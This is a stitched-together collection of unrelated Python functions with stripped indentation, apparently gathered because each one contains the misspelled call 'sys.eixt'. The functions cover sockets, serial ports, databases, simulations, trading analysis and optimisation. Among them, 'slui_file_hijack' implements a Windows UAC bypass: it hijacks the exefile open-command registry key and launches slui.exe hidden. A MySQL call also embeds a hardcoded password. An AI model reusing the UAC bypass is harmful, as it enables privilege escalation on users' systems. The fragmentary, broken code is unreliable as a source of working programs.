def main():
sockfd = socket()
sockfd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sockfd.bind(ADDR)
sockfd.listen(3)
print("Listen the port 8888...")
#处理僵尸进程
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
while True:
try:
connfd, addr = sockfd.accept()
except KeyboardInterrupt:
sockfd.close()
sys.eixt("服务器退出")
except Exception:
print("服务器异常:", e)
continue
print("连接客户端:", addr)
#创建子进程
pid = os.fork()
if pid == 0:
#处理具体的客户端事物
sockfd.close()
ftp = FtpServer()
while True:
data = connfd.recv(1024).decode()
if data == 'list':
ftp.do_list()
os._exit(0)
else:
connfd.close()
def get_uart_name():
while True:
sys.stdout.write("\033[2J")
sys.stdout.write('\033[0;0H')
port_list = []
index = 0
print('串口序号表')
print('=================================')
for n, (port,desc, hwid) in enumerate(sorted(comports()),1):
port_list.append(port)
print('序号:{} 名称{}'.format(index, port))
index+=1
print('==================================')
if len(port_list) == 0:
print('Please connect uart to computer.')
sys.exit()
try:
id = input('序号:')
if type(id) == str:
try:
id = int(id)
except:
continue
if id < len(port_list):
return port_list[id]
else:
print('2:id < {}'.format(len(port_list)))
else:
print('1:id < {}'.format(len(port_list)))
except KeyboardInterrupt:
sys.eixt()
except:
sys.exit()
def create(what):
'''Adding an entry into selected table'''
path = os.path.abspath(contacts.__file__)
path = os.path.split(path)[0]
conn =foo.create_connection(os.path.join (path, 'database/libr.db' ))
if not conn:
return None
if what == 'contact'.lower():
l_n = interf.get_any('Enter last name (mendatory): ')
if l_n == 'q':
sys.exit('Canceled')
f_n = str(raw_input('Enter first name : '))
if f_n == 'q':
sys.exit('Canceled')
t_n = interf.get_int('Enter telefon number (mendatory): ')
if t_n == 'q':
sys.exit('Canceled')
e_a = str(raw_input('Enter e-mail adress: '))
if e_a == 'q':
sys.eixt('Canceled')
query = (l_n, f_n, t_n, e_a)
i = foo.create_contact(conn, query)
else:
g_n = interf.get_any('Enter group name (mendatory): ')
if g_n == 'q':
sys.exit ('Canceled')
query = (g_n,)
i = foo.create_group(conn, query)
if i:
sys.exit('Done!')
def write(self, physical_time):
with open(self.fpath, 'a') as f:
for field in self.fields:
if field.mesh != self.mesh:
sys.eixt('mesh in field "{:s}" not correspond to mesh in Output object'.format(self.fpath))
cells = self.mesh.cells
f.write('$ElementData\n')
f.write('1\n')
f.write('"%s"\n'%field.name)
f.write('1\n')
f.write('%f\n'%physical_time)
for i in [3, self.nwrite, 1, len(cells)]:
f.write('%i\n'%i)
# write the x,y,value
#
for i in range(len(cells)):
f.write( '%i %f\n'%(cells[i].elem.i, field.new[i]))
f.write('$EndElementData\n')
# END of write of one field
self.nwrite += 1
def find_interface(rho, sigma, debug=False):
rho_s = gaussian_filter(rho, sigma=sigma, mode="wrap")
nrows = rho_s.shape[0]
xh = np.zeros(nrows)
rho_h = np.zeros(nrows)
if debug:
plt.imshow(rho_s.T, origin="lower", interpolation="none")
plt.show()
plt.close()
# find starting index
start_row = None
idx_max_pre = np.argmax(np.mean(rho_s, axis=0))
for row, rhox in enumerate(rho_s):
idx_max, idx_h = find_idx_max(rhox, idx_max_pre, mode=2)
if idx_max is not None:
start_row = row
idx_max_pre = idx_max
xh[row], rho_h[row] = find_rho_half(rhox, idx_max, idx_h)
break
if idx_max is None:
for row, rhox in enumerate(rho_s):
idx_max, idx_h = find_idx_max(rhox, idx_max_pre, mode=1)
if idx_max is not None:
start_row = row
idx_max_pre = idx_max
xh[row], rho_h[row] = find_rho_half(rhox, idx_max, idx_h)
break
if idx_max is None:
print("Cannot find the starting row.")
sys.eixt()
# find xh, rho_h for each row
for row in range(start_row + 1, start_row + nrows):
if row >= nrows:
row -= nrows
rhox = rho_s[row]
idx_max = find_idx_max(rhox, idx_max_pre)
if debug:
print("row = ", row)
if debug and row > 1950:
is_debug = True
else:
is_debug = False
xh[row], rho_h[row] = find_rho_half(rhox,
idx_max,
xh_pre=xh[row - 1],
rho_h_pre=rho_h[row - 1],
debug=is_debug)
idx_max_pre = idx_max
if debug:
mask = rho_s > 1
plt.imshow(mask.T, origin="lower", interpolation="none")
yh = np.linspace(0.5, nrows - 0.5, nrows)
plt.plot(yh, xh, "k")
plt.show()
plt.close()
return xh, rho_h
def _check_events(self):
for event in pygame.event.get():
if event.type == pygame.QUIT:
sys.eixt()
elif event.type == pygame.KEYDOWN:
self._check_keydown_events(event)
elif event.type == pygame.KEYUP:
self._check_keyup_events(event)
def main():
need_print = False
count = None
try:
opts, args = getopt.getopt(sys.argv[1:], "c:p", ["count", "print"])
except getopt.GetoptError:
sys.eixt(2)
for opt, arg in opts:
if opt in ("-c", "--count"):
count = arg
elif opt in ("-p", "--print"):
need_print = True
print ("count is:",count,", need_print is:", need_print)
# open db
db = MySQLdb.connect(host = "localhost", user = "******", passwd="wawdsh1!")
# get cursor
cursor = db.cursor()
# show version
# cursor.execute("select version()")
# print ("version: %s") % cursor.fetchone()
# cursor.execute("show databases")
# rows = cursor.fetchall()
# for data in rows:
# print (data)
cursor.execute("use test_db")
#cursor.execute("create table tb2 (name varchar(20), sex char(1), birth date, death date)")
for i in range( int(count) ):
name = generate_randname(10)
birth = generate_randdate('1980-01-01','2000-12-31')
death = generate_randdate(birth,'2030-12-31')
sex = generate_sex()
sql = "insert into tb2 values ('%s','%s','%s','%s')" % (name,sex,birth,death)
if need_print:
print sql
cursor.execute(sql)
time.sleep(0.05)
# execute
db.commit()
# close cursor
cursor.close()
# close db
db.close()
print ("succeed")
def LM(self, commodity='rb', exp_list=['1701'], offset=0, freq='5min', flg='train'):
# dictionary to save word counts for each commodity
word_counts_dict = {}
for l in np.arange(1, self._n):
word_counts_dict[l] = {self.ternary(k, l): 0 for k in np.arange(self._m ** l)}
print('=' * 12 + commodity + ' ' + flg + '=' * 12)
data_path = self._data_root_dir + '/' + commodity
# for exp_date in sorted(list(set([x[2:6] for x in os.listdir(data_path+'/day')]))):
for exp_date in exp_list:
print('-' * 10 + 'Running:' + exp_date + '-' * 10)
instrument = commodity + exp_date
tick_day = df_reader(instrument + '*', topdir=data_path + '/day', offset=offset, freq=freq, day=True,
symbol=commodity).get_tick(raw=False)
tick_night = df_reader(instrument + '*', topdir=data_path + '/night', offset=offset, freq=freq, day=False,
symbol=commodity).get_tick(raw=False)
tick_all = pd.concat([tick_day, tick_night])
tick_all.sort_index(inplace=True)
tick_all.to_csv(self._output + '/' + '_'.join([commodity, exp_date, freq, str(offset)]) + '.csv')
# select train data: hard coded.
if flg == 'train':
tick_all = tick_all[tick_all.index < '2016-7-1 09:00:00.0']
elif flg == 'valid':
tick_all = tick_all[
(tick_all.index >= '2016-7-1 09:00:00.0') & (tick_all.index < '2016-10-1 09:00:00.0')]
else:
print('Unknown flg')
sys.eixt()
tick_all['Direction'] = tick_all['LastPrice'].pct_change().apply(
lambda x: 2 if x > 0 else (1 if x < 0 else 0))
tick_all_sequence = tick_all['Direction'].astype(str).str.cat()
# print(tick_all_sequence)
for l in np.arange(1, self._n):
for k in np.arange(self._m ** l):
word_counts_dict[l][self.ternary(k, l)] += df_reader.count_word(tick_all_sequence,
self.ternary(k, l))
word_prob_all = pd.DataFrame()
for l in np.arange(1, self._n):
tmp = self.word_prob(word_counts_dict[l], l)
word_prob_all = word_prob_all.append(tmp)
word_prob_all = word_prob_all[['prior', '0', '1', '2', 'total', 'max', 'max_pct']]
word_prob_all['offset'] = offset
# print (word_prob_all)
return word_prob_all
def list(some_module):
if some_module == "template":
for i in template_choices:
print(i)
elif some_module == "alloc":
for i in alloc_choices:
print(i)
else:
print("There is no such option")
sys.eixt()
def __init__(self, date=None):
if date is not None:
self.dbname = "".join([DB_PATH, date, ".db"])
print self.dbname
else:
raise (ValueError, "date needed!!")
if not os.path.isfile(self.dbname):
self.conn = sqlite3.connect(self.dbname, 20)
self.conn.text_factory = str
cur = self.conn.cursor()
cur.execute(
"""
CREATE TABLE crash_info (
id INTEGER PRIMARY KEY AUTOINCREMENT,
hash_value TEXT NOT NULL,
info TEXT NOT NULL,
times INTEGER NOT NULL,
status INTEGER,
author TEXT ); """
)
cur.execute(
"""
CREATE TABLE hash_info (
id INTEGER PRIMARY KEY AUTOINCREMENT,
hash_value TEXT NOT NULL,
count INTEGER NOT NULL);"""
)
cur.execute(
"""
CREATE TABLE update_info (
id INTEGER PRIMARY KEY AUTOINCREMENT,
update_time REAL NOT NULL);"""
)
self.conn.commit()
# store the new db info into the all_db_info database
all_db_name = "".join([DB_PATH, "all_db_info.db"])
if not os.path.isfile(all_db_name):
print "Wrong db file: %s" % all_db_name
sys.eixt(1)
db = sqlite3.connect(all_db_name, 2)
db.text_factory = str
cur = db.cursor()
cur.execute(
"insert into all_db_info (dbdate,dbname,create_time) values (?,?,?)",
(time.mktime(time.strptime(date, "%Y-%m-%d")), self.dbname, date),
)
db.commit()
db.close()
else:
self.conn = sqlite3.connect(self.dbname)
self.conn.text_factory = str
def __init__(self, mesh, fpath, *fields):
self.mesh = mesh
self.fpath = fpath
self.fields = []
self.nwrite = 0
try:
f = open(self.fpath, 'w')
with open(self.mesh.fpath, 'r') as fmesh:
f.write(fmesh.read())
f.close()
except IOError:
sys.eixt('Can Not open file:\n{0:s}'.format(self.fpath))
for phi in fields:
self.fields.append(phi)
def getMainContent():
"获取主贴内容，默认为本地1开头的第一个shtml"
#if len(d_value) == 0 : return
with open('./html/1.shtml','rb') as f:
html = f.read()
res = re.findall(r'<div class="bbs-content clearfix">(.*?)</div>',html,re.S)
if not len(res):
sys.exit('楼主主贴没有获取到内容...')
elif len(res) > 1:
sys.eixt('楼主主贴获取的内容超过一个...')
global _main_body
with open('./txt/mainContent.txt','wb') as f:
#f.write(formatHtml(res[0]))
res = formatHtml(res[0])
f.write(res)
def load_resource_general_doc_based(dataset_dirpath,training_map,args):
"""
Load dataset from specified preprocessed json file.
file path is specified by additional_resource_list
RETURN: map training_map {unicode label: list document[list [unicode token]]}
"""
additional_training_map={};
#------------------------------------------------------------
if level==1:
for alphabet in alphabetTable:
additional_training_map[alphabet]=[];
additional_training_map[u'NOT_'+alphabet]=[];
elif level==2:
sys.eixt('not implemented yet');
#------------------------------------------------------------
f_list=make_filelist(dataset_dirpath);
#------------------------------------------------------------
for fileindex,filepath in enumerate(f_list):
with codecs.open(filepath,'r','utf-8') as f:
file_obj=json.load(f);
alphabet_label_list=file_obj['labels'];
alphabet_label_list=[label_converter(label) for label in alphabet_label_list];
print filepath
print alphabet_label_list
doc=file_obj['doc_str'];
if args.ins_range=='document':
additional_training_map=generate_document_instances(doc,filepath,alphabetTable,alphabet_label_list,additional_training_map,args);
"""
elif args.ins_range=='sentence':
#arowを用いた半教師あり学習のために文ごとの事例作成を行う
additional_training_map=generate_sentence_instances(doc,filepath,alphabetTable,alphabet_label_list,dfd_training_map,args);
"""
if args.dev==True and fileindex==dev_limit:
break;
#------------------------------------------------------------
for label in additional_training_map:
if label in training_map:
training_map[label]+=additional_training_map[label];
else:
training_map[label]=additional_training_map[label];
#------------------------------------------------------------
return training_map;
def collect_db_info(dbname, dbdate):
if not os.path.isfile(dbname):
print "Wrong db file: %s" % dbname
sys.eixt(1)
db = "".join([DB_PATH, "all_db_info.db"])
if not os.path.isfile(db):
print "Wrong db file: %s" % dbname
sys.eixt(1)
db = sqlite3.connect(db, 2)
db.text_factory = str
cur = db.cursor()
cur.execute(
"insert into all_db_info (dbdate,dbname,create_time) values (?,?,?)",
(time.mktime(time.strptime(dbdate, "%Y-%m-%d")), dbname, dbdate),
)
db.commit()
db.close()
print "insert all_db_info (%s)" % dbname
def load_dfd(training_map,args):
"""
Load DFD dataset from preprocessed json file.
DFD file path is specified by dfd_dir_path
RETURN: map training_map {unicode label: list document[list [unicode token]]}
"""
dfd_training_map={};
#------------------------------------------------------------
if level==1:
#Initialize dfd_training_map with 23 labels
#alphabetTable=[unichr(i) for i in xrange(65, 91)if chr(i) not in [u'I',u'O',u'Y']]
for alphabet in alphabetTable:
dfd_training_map[alphabet]=[];
dfd_training_map[u'NOT_'+alphabet]=[];
elif level==2:
sys.eixt('not implemented yet');
#------------------------------------------------------------
dfd_f_list=make_filelist(dfd_dir_path);
#------------------------------------------------------------
for fileindex,filepath in enumerate(dfd_f_list):
with codecs.open(filepath,'r','utf-8') as f:
file_obj=json.load(f);
alphabet_label_list=file_obj['labels'];
doc=file_obj['doc_str'];
if args.ins_range=='document':
dfd_training_map=generate_document_instances(doc,filepath,alphabetTable,alphabet_label_list,dfd_training_map,args);
elif args.ins_range=='sentence':
#arowを用いた半教師あり学習のために文ごとの事例作成を行う
dfd_training_map=generate_sentence_instances(doc,filepath,alphabetTable,alphabet_label_list,dfd_training_map,args);
if args.dev==True and fileindex==dev_limit:
break;
#------------------------------------------------------------
for label in dfd_training_map:
if label in training_map:
training_map[label]+=dfd_training_map[label];
else:
training_map[label]=dfd_training_map[label];
#------------------------------------------------------------
return training_map;
def ask_what_you_need():
print("-" * 20)
print("""
S|s to store file in database
L|l to load file from database
Q|q to quit
""")
print("-" * 20)
user = input("Enter what you whant :")
choices = {
"s": func_to_save_file_in_database,
"l": func_to_load_file_from_database
}
if user.lower() in choices.keys():
choices[user.lower()]()
else:
sys.eixt()
def process(conn):
# read userInput from client
userInput = conn.recv(BUFFER_SIZE)
if not userInput:
print "Error reading message\n"
sys.exit(1)
userInput = userInput.strip()
mylist = userInput.split(" ")
if len(mylist) != 3:
print "Input format incorrect!\n"
sys.eixt(1)
print "Received message: ", userInput
# TODO: add convertion function here, reply = func(userInput)
print mylist
reply = tfunction(mylist)
print reply
if reply == (-1):
conn.send("Input format incorrect!\n")
else:
conn.send('%s' % reply)
conn.close()
def main():
args = parse_args()
infh = fileinput.input(files=args.input)
for line in infh:
line = line.rstrip('\n')
if args.field:
line_lst = line.split(args.delimiter)
if args.action == '01':
line_lst[args.field - 1] = aa01(line_lst[args.field - 1])
elif args.action == '10':
line_lst[args.field - 1] = aa01(line_lst[args.field - 1])
elif args.action == '13':
line_lst[args.field - 1] = aa13(line_lst[args.field - 1])
elif args.action == '31':
line_lst[args.field - 1] = aa31(line_lst[args.field - 1])
elif args.action == '03':
line_lst[args.field - 1] = aa03(line_lst[args.field - 1])
elif args.action == '30':
line_lst[args.field - 1] = aa30(line_lst[args.field - 1])
else:
sys.eixt('Error: invalid action.')
line = args.delimiter.join([line_lst])
else:
if args.action == '01':
line = aa01(line)
elif args.action == '10':
line = aa01(line)
elif args.action == '13':
line = aa13(line)
elif args.action == '31':
line = aa31(line)
elif args.action == '03':
line = aa03(line)
elif args.action == '30':
line = aa30(line)
else:
sys.eixt('Error: invalid action.')
print(line, file=sys.stdout, flush=True)
infh.close()
def read_thread_func(queue):
message_number = 0
while True:
#read the message length (first 4 bytes).
text_length_bytes = sys.stdin.read(4)
if len(text_length_bytes) == 0:
if queue:
queue.put(None)
sys.eixt(0)
# Unpack message length as 4 byte integer.
text_length = struct.unpack('i', text_length_bytes)[0]
# Read the text (JSON object) of the message.
text = sys.stdin.read(text_length).decode('utf-8')
if queue:
queue.put(text)
else:
# In headless mode just send an message.
send_message('{msg:WJJDKDKKDKK}')
def slui_file_hijack():
if (os.path.isfile(os.path.join("c:\windows\system32\slui.exe")) == True):
try:
key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,"Software\Classes\exefile\shell\open\command")
_winreg.SetValueEx(key,None,0,_winreg.REG_SZ,cmd_path())
_winreg.CloseKey(key)
except Exception as error:
return False
try:
win32api.ShellExecute(0,None,"c:\windows\system32\slui.exe",None,None,win32con.SW_HIDE)
except Exception as error:
sys.exit()
time.sleep(5)
try:
_winreg.DeleteKey(_winreg.HKEY_CURRENT_USER,"Software\Classes\exefile\shell")
except Exception as error:
return False
else:
sys.eixt()
def main():
if len(sys.argv) == 3:
p = int(sys.argv[1]) # 101
q = int(sys.argv[2]) # 163
else:
p = 101
q = 163
print('p: ' + str(p))
print('q: ' + str(q))
if p * q < 256:
sys.eixt('p * q debe ser mayor que 256')
e = 65537
e = 257
print('e: ' + str(e))
# compute n
n = p * q
# Compute phi(n)
phi = (p - 1) * (q - 1)
#rint('phi:' + str(phi))
# Compute modular inverse of e
gcd, a, b = egcd(e, phi)
d = a
# en el codigo da 0x01fbd521 por alguna razon...
if (e * d) % phi != 1:
print('(e * d) % phi = ' + str((e * d) % phi))
#if e < phi:
# print('e < phi')
#if d < phi:
# print('d < phi')
print('d: ' + str(d))
def LM(self,
commodity='rb',
exp_list=['1701'],
offset=0,
freq='5min',
flg='train'):
# dictionary to save word counts for each commodity
word_counts_dict = {}
for l in np.arange(1, self._n):
word_counts_dict[l] = {
self.ternary(k, l): 0
for k in np.arange(self._m**l)
}
print('=' * 12 + commodity + ' ' + flg + '=' * 12)
data_path = self._data_root_dir + '/' + commodity
#for exp_date in sorted(list(set([x[2:6] for x in os.listdir(data_path+'/day')]))):
tick_maj = pd.DataFrame()
for exp_date in exp_list:
tick_tmp = pd.DataFrame()
print('-' * 10 + 'Running:' + exp_date + '-' * 10)
instrument = commodity + exp_date
tick_day = df_reader(instrument + '*',
topdir=data_path + '/day',
offset=offset,
freq=freq,
day=True,
symbol=commodity).get_tick(raw=False)
tick_night = df_reader(instrument + '*',
topdir=data_path + '/night',
offset=offset,
freq=freq,
day=False,
symbol=commodity).get_tick(raw=False)
tick_all = pd.concat([tick_day, tick_night])
tick_all.sort_index(inplace=True)
tick_all.to_csv(self._output + '/' +
'_'.join([commodity, exp_date, freq,
str(offset)]) + '.csv')
#exp_date_tmp = '20'+exp_date+'15'+' 09:00:00.0'
year_month = '20' + exp_date
year_month_int = int(year_month)
year_int = year_month_int // 100
month_int = year_month_int % 100
month_tot = year_int * 12 + month_int
sel_start = '2016-1-1 09:00:00.0'
sel_end = '2016-1-1 09:00:00.0'
if (year_month_int > 201602):
month_tot = month_tot - 2
year_int = month_tot // 12
month_int = month_tot % 12
if month_int == 0:
year_int = year_int - 1
month_int = 12
_, num_days = calendar.monthrange(year_int, month_int)
sel_start = str(year_int) + '-' + str(
month_int) + '-1 09:00:00.0'
sel_end = str(year_int) + '-' + str(month_int) + '-' + str(
num_days) + ' 23:59:59.0'
print("select data of " + exp_date + " start from " +
sel_start + " to " + sel_end)
if (self._sel_mode == 'MajorContract'):
tick_tmp = tick_all[(tick_all.index < sel_end)
& (tick_all.index > sel_start)]
# select train data: hard coded.
if flg == 'train':
tick_all = tick_all[(tick_all.index < '2016-7-1 09:00:00.0')]
elif flg == 'valid':
tick_all = tick_all[(tick_all.index >= '2016-7-1 09:00:00.0') &
(tick_all.index < '2016-10-1 09:00:00.0')]
else:
print('Unknown flg')
sys.eixt()
print('total lines: ' + str(tick_all.shape[0]) + ', with ' +
str(tick_tmp.shape[0]) + ' lines selected as major contract')
tick_maj = tick_maj.append(tick_tmp)
tick_maj.to_csv(self._output + '/' +
'_'.join([commodity, freq, exp_date,
str(offset)]) + 'part.csv')
tick_all['Direction'] = tick_all['LastPrice'].pct_change().apply(
lambda x: 2 if x > 0 else (1 if x < 0 else 0))
tick_all_sequence = tick_all['Direction'].astype(str).str.cat()
#print(tick_all_sequence)
for l in np.arange(1, self._n):
for k in np.arange(self._m**l):
word_counts_dict[l][self.ternary(
k, l)] += df_reader.count_word(tick_all_sequence,
self.ternary(k, l))
word_prob_all = pd.DataFrame()
tick_maj.to_csv(
self._output + '/' +
'_'.join([commodity, freq, str(offset)]) + 'all.csv')
for l in np.arange(1, self._n):
tmp = self.word_prob(word_counts_dict[l], l)
word_prob_all = word_prob_all.append(tmp)
word_prob_all = word_prob_all[[
'prior', '0', '1', '2', 'total', 'max', 'max_pct'
]]
word_prob_all['offset'] = offset
# print (word_prob_all)
return word_prob_all
def dynamic_schedule_based_ue_model(tn):
""" Input TimeExpandedNetwork obj; output the time-dependent equilibrium flow."""
print(' ---------------------------------------------------')
print(" Time-dependent model begins ...")
# Parameters
TEST_QUADRATIC_PROG = int(open_config_file('test_quadratic_programming'))
QUADRATIC_PROG_SOLVING_PKG = open_config_file('QUADRATIC_PROG_SOLVING_PKG')
INTEGER_PROG = float(open_config_file('INTEGER_PROG'))
# Number of stops
N = len(tn.stops)
# Horizon
T = tn.T
MAX_NUMBER_OF_ITERATIONS = int(
open_config_file('MAX_NUMBER_OF_ITERATIONS_FOR_BILEVEL_MODEL'))
CONVERGENCE_CRITERION = float(
open_config_file('CONVERGENCE_CRITERION_FOR_BILEVEL_MODEL'))
# Number of bus lines.
num_routes = len(tn.routes)
# The most number of choices user could have at a node, which equals
# the number of routes, adding a waiting link.
num_choices = num_routes + 1
# Periods of measurements (Unit: min)
C = int(open_config_file('MEASUREMENT_PERIOD'))
# Times of measurements
I = int(T / C)
sys.setrecursionlimit(5000000)
global m
print()
print(" Horion (T): " + str(T))
print(" Measurements period C: " + str(C))
print(" Times of measurements I: " + str(I))
print(" Optimization package: " + QUADRATIC_PROG_SOLVING_PKG)
# Initialization
od_flow = np.zeros((N, N, T))
# Input Data
# Count data.
entry_count = []
exit_count = []
wifi_count = []
passby_count = []
# Retain only data column.
entry_count_file = open_data_file_with_header(
'data/entry_count_by_designated_period.csv')
exit_count_file = open_data_file_with_header(
'data/exit_count_by_designated_period.csv')
wifi_count_file = open_data_file_with_header(
'data/wifi_count_by_designated_period.csv')
# Data formats:
# (col) 1 2 3
# measurement_seq_number, stop_id, count
# Retain only count data.
entry_count = [float(item[2]) for item in entry_count_file]
exit_count = [float(item[2]) for item in exit_count_file]
wifi_count = [float(item[2]) for item in wifi_count_file]
# Convert wifi count to stop count.
# i) First, import ratio file.
wifi_sample_ratio = open_data_file_with_header(
'data/wifi_sample_ratio.csv')
# Table header:
# 0
# sample_ratio
wifi_sample_ratio = [float(item[0]) for item in wifi_sample_ratio]
# ii) Second, transform.
passby_count = []
for k_meas in range(I):
for i_stop in range(N):
# Note: wifi_count is list
passby_count.append(wifi_count[k_meas * N + i_stop] /
wifi_sample_ratio[i_stop])
# Print measurements data.
if TEST_QUADRATIC_PROG == 1:
print()
print(' Measurements data:')
print(' entry_count:')
print(entry_count)
print(' exit_count:')
print(exit_count)
print(' wifi_count:')
print(wifi_count)
print(' wifi_sample_ratio:')
print(wifi_sample_ratio)
print(' passby_count:')
print(passby_count)
# End of test print.
# Prepare coefficients for solve quadratic programming
# Non-integer prog
if QUADRATIC_PROG_SOLVING_PKG == "cvxopt":
# Coefficients: Q,p,A,b,G,h
# Q & p
Q = np.zeros((N * N * T + 3 * N * T, N * N * T + 3 * N * T))
p = np.zeros((N * N * T + 3 * N * T, 1))
# period k_meas
for k_meas in range(I):
# stop n
for i_stop in range(N):
for t1 in range(C * k_meas, C * (k_meas + 1)):
for t2 in range(C * k_meas, C * (k_meas + 1)):
Q[N * N * T + N * t1 + i_stop,
N * N * T + N * t2 + i_stop] = 2
Q[N * N * T + N * T + N * t1 + i_stop,
N * N * T + N * T + N * t2 + i_stop] = 2
Q[N * N * T + 2 * N * T + N * t1 + i_stop,
N * N * T + 2 * N * T + N * t2 + i_stop] = 2
# p
p[N * N * T + N * t1 + i_stop,
0] = (-2) * entry_count[N * k_meas + i_stop]
p[N * N * T + N * T + N * t1 + i_stop,
0] = (-2) * exit_count[N * k_meas + i_stop]
p[N * N * T + 2 * N * T + N * t1 + i_stop,
0] = (-2) * passby_count[N * k_meas + i_stop]
# A
# A will be fully determined in the iterations.
# Initialized here.
A = np.zeros((3 * N * T, N * N * T + 3 * N * T))
# b is zero as default.
b = np.zeros((3 * N * T, 1))
# G
# var >= 0, namely - var <= 0.
G = (-1) * np.identity(N * N * T + 3 * N * T)
# h is zero as default.
h = np.zeros((N * N * T + 3 * N * T, 1))
# Transform numpy matrices to cvxopt matrices.
Q = matrix(Q, tc='d')
p = matrix(p, tc='d')
G = matrix(G, tc='d')
h = matrix(h, tc='d')
b = matrix(b, tc='d')
# Mixed integer prog.
# Sparse model.
elif QUADRATIC_PROG_SOLVING_PKG == "gurobi" and platform.system(
) != 'Windows':
m = Model("qp")
# Create variables
# f_i_j_h
for q_origin in range(N):
for r_dest in range(N):
for h_depart in range(T):
if INTEGER_PROG == 1:
exec(
"f_%d_%d_%d = m.addVar(vtype=GRB.INTEGER, lb=0, name='f_%d_%d_%d')"
% (q_origin, r_dest, h_depart, q_origin, r_dest,
h_depart), globals())
elif INTEGER_PROG == 0:
exec(
"f_%d_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='f_%d_%d_%d')"
% (q_origin, r_dest, h_depart, q_origin, r_dest,
h_depart), globals())
# o_q_h
for q_origin in range(N):
for h_depart in range(T):
exec(
"o_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='o_%d_%d')"
% (q_origin, h_depart, q_origin, h_depart), globals())
# d_r_t
for r_dest in range(N):
for t in range(T):
exec(
"d_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='d_%d_%d')"
% (r_dest, t, r_dest, t), globals())
# x_i_t
for i_stop in range(N):
for t in range(T):
exec(
"x_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='x_%d_%d')"
% (i_stop, t, i_stop, t), globals())
# Set objective
obj_str = 'obj = '
for k_meas in range(I):
# o_q_h
for q_origin in range(N):
temp_str = '('
for h_depart in range(C * k_meas, C * (k_meas + 1)):
temp_str += 'o_' + str(q_origin) + '_' + str(h_depart)
if h_depart != C * (k_meas + 1) - 1:
temp_str += '+'
temp_str += ' - ' + str(entry_count[N * k_meas + q_origin])
temp_str += ')'
obj_str += temp_str + '*' + temp_str
obj_str += ' + '
# d_r_t
for r_dest in range(N):
temp_str = '('
for t in range(C * k_meas, C * (k_meas + 1)):
temp_str += 'd_' + str(r_dest) + '_' + str(t)
if t != C * (k_meas + 1) - 1:
temp_str += '+'
temp_str += ' - ' + str(exit_count[N * k_meas + r_dest])
temp_str += ')'
obj_str += temp_str + '*' + temp_str
obj_str += ' + '
# x_i_t
for i_stop in range(N):
temp_str = '('
for t in range(C * k_meas, C * (k_meas + 1)):
temp_str += 'x_' + str(i_stop) + '_' + str(t)
if t != C * (k_meas + 1) - 1:
temp_str += '+'
temp_str += ' - ' + str(passby_count[N * k_meas + i_stop])
temp_str += ')'
obj_str += temp_str + '*' + temp_str
if not (i_stop == (N - 1) and k_meas == (I - 1)):
obj_str += ' + '
if TEST_QUADRATIC_PROG == 1:
print()
print(" objective is:")
print(obj_str)
# End of test print.
exec(obj_str, globals())
m.setObjective(obj, GRB.MINIMIZE)
# Add constraints (part).
count_constraint = 0
# o_q_h
for q_origin in range(N):
for h_depart in range(T):
const_str = ''
temp_count = 0
for r_dest in range(N):
if r_dest != q_origin:
if temp_count != 0:
const_str += ' + '
const_str += 'f_' + str(q_origin) + '_' + str(
r_dest) + '_' + str(h_depart)
temp_count += 1
if temp_count > 0:
const_str += ' == '
const_str += 'o_' + str(q_origin) + '_' + str(h_depart)
if TEST_QUADRATIC_PROG == 1:
print()
print(" A entry count constraint is added: ")
print(const_str)
# End of test print.
m.addConstr(eval(const_str), 'c' + str(count_constraint))
count_constraint += 1
# d_r_t
# TBD
# x_r_t
# TBD
elif QUADRATIC_PROG_SOLVING_PKG == "gurobi" and platform.system(
) == 'Windows':
pass
elif QUADRATIC_PROG_SOLVING_PKG != "cvxopt" and QUADRATIC_PROG_SOLVING_PKG != "gurobi":
print()
print(" Error: Unkown method!")
sys.exit(1)
print(' --------------------------')
print(' Bi-level programming iterations begins ... ')
# Bi-level programming iterations
# Initialization
iteration_count = 0
converg_flag = 0
# While convergence or maximum, iteration not reached, continue to loop.
while converg_flag == 0:
# Upper level
print()
print(" Bi-level iteration: " + str(iteration_count))
print(' Upper level begins ...')
print(" Find initial od_flow_to_stop_prob...")
# Initialize the cost of links
for index in range(len(tn.links_exp)):
tn.links_exp[index][8] = tn.links_exp[index][5]
# Initialize od_flow_to_stop_prob.
# Users will follow the path determined by the initial preference set.
# No capacity constraints etc. considered.
if iteration_count == 0:
prefer_links_optimal, prefer_probs_optimal = find_initial_strategy(
tn)
od_flow_to_stop_prob = np.zeros((N, N, T, N, T))
for q_origin in range(N):
for r_dest in range(N):
if q_origin != r_dest:
for h_depart in range(T):
# Initialize departure node in TE network.
# Notations inherated from dynamic_schedule_based_ue_assignment_algorithm.
i = q_origin
t = h_depart
i_t = tn.stops_exp.index(tn.stops[q_origin] + '_' +
str(h_depart))
# coming from route
l = num_choices - 1
tau = h_depart
arrive_dest_flag = 0
while arrive_dest_flag == 0:
if TEST_QUADRATIC_PROG == 1:
print()
print(" Current [q,r,h]: " +
str([q_origin, r_dest, h_depart]) +
" current node: " +
str(tn.stops_exp[i_t]) + " - " +
str(i_t))
print(" prefer_links_optimal:")
print(prefer_links_optimal[r_dest, l, tau,
i_t])
# End of test print.
# Update od_flow_to_stop_prob for current node.
if i == q_origin and t == h_depart:
od_flow_to_stop_prob[q_origin, r_dest,
h_depart, i, t] = 1.0
if TEST_QUADRATIC_PROG == 1:
print()
print(
" Entry count od_flow_to_stop_prob"
+ str([
q_origin, r_dest, h_depart, i,
t
]) + " updated to 1.")
# End of test print.
if i == r_dest:
od_flow_to_stop_prob[q_origin, r_dest,
h_depart, i, t] = 1.0
if TEST_QUADRATIC_PROG == 1:
print()
print(
" Exit count od_flow_to_stop_prob"
+ str([
q_origin, r_dest, h_depart, i,
t
]) + " updated to 1.")
# End of test print.
if i != q_origin and i != r_dest and l != (
num_choices - 1):
od_flow_to_stop_prob[q_origin, r_dest,
h_depart, i, t] = 1.0
if TEST_QUADRATIC_PROG == 1:
print()
print(
" Passby count od_flow_to_stop_prob"
+ str([
q_origin, r_dest, h_depart, i,
t
]) + " updated to 1.")
# End of test print.
# Update arrive_dest_flag if needed.
if i == r_dest:
arrive_dest_flag == 1
if TEST_QUADRATIC_PROG == 1:
print()
